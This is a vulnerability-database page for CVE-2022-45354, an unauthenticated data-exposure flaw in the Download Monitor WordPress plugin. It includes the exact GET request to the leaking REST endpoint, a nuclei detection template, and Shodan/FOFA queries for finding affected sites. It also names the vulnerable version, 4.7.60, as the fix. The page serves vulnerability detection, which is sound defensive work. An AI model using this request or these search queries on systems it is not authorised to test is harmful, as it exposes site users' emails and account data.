HexBrain

Browse / CVEs / CVE-2022-45354

CVE-2022-45354· wpchill / download monitor

Download Monitor <= 4.7.60 - Sensitive Information Exposure

highseverity
7.5CVSS score
38.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access.

Fix

Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-json/download-monitor/v1/user_data
Positive when: contains "\"registered\":" and "\"display_name\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45354 -u <target>

The full check
id: CVE-2022-45354

info:
  name: Download Monitor <= 4.7.60 - Sensitive Information Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-45354
    - https://wordpress.org/plugins/download-monitor/
    - https://patchstack.com/database/vulnerability/download-monitor/wordpress-download-monitor-plugin-4-7-60-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45354
    epss-score: 0.38083
    epss-percentile: 0.98569
    cpe: cpe:2.3:a:wpchill:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: download_monitor
    framework: wordpress
    shodan-query:
      - html:"/wp-content/plugins/download-monitor/"
      - http.html:"/wp-content/plugins/download-monitor/"
    fofa-query: body="/wp-content/plugins/download-monitor/"
  tags: cve,cve2022,wordpress,wp-plugin,download-monitor,wp,wpchill,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/download-monitor/v1/user_data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered":'
          - '"display_name":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from